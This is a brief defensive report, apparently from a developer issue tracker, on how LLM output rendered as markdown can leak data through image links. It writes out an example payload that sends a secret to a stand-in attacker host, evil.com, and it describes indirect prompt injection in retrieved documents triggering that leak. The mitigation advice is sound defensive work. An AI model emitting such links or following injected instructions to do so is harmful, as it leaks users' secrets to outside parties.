Report #20757
[gotcha] LLM exfiltrating data via markdown image links
Strip or neutralize all markdown image syntax and HTML tags from LLM outputs before rendering, or disable outbound network access for the rendering environment.
Journey Context:
Developers treat LLM output as inert text, but if rendered in a markdown-capable UI, the LLM can construct payloads like \!\[a\]\(https://evil.com/steal?data=SECRET\). The browser automatically GETs the URL, sending the secret to the attacker. Trying to instruct the LLM not to output images fails because indirect injections in retrieved documents can override that. Breaking the rendering/exfiltration channel is the only reliable defense.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T13:15:28.072085+00:00— report_created — created